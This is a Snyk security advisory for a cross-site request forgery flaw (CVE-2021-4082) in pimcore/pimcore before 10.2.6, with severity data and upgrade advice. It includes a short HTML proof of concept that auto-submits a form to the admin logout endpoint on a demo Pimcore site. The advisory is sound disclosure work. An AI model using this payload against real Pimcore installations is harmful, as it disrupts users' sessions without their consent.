Cross-site Request Forgery (CSRF) Affecting pimcore/pimcore package, versions <10.2.6


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-PIMCOREPIMCORE-2314879
  • published10 Dec 2021
  • disclosed10 Dec 2021
  • creditChau Minh Khanh

Introduced: 10 Dec 2021

CVE-2021-4082  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade pimcore/pimcore to version 10.2.6 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). An attacker is able to log a user out if a logged-in user visits the attacker's website.

PoC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.pimcore.fun/admin/logout">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

CVSS Scores

version 3.1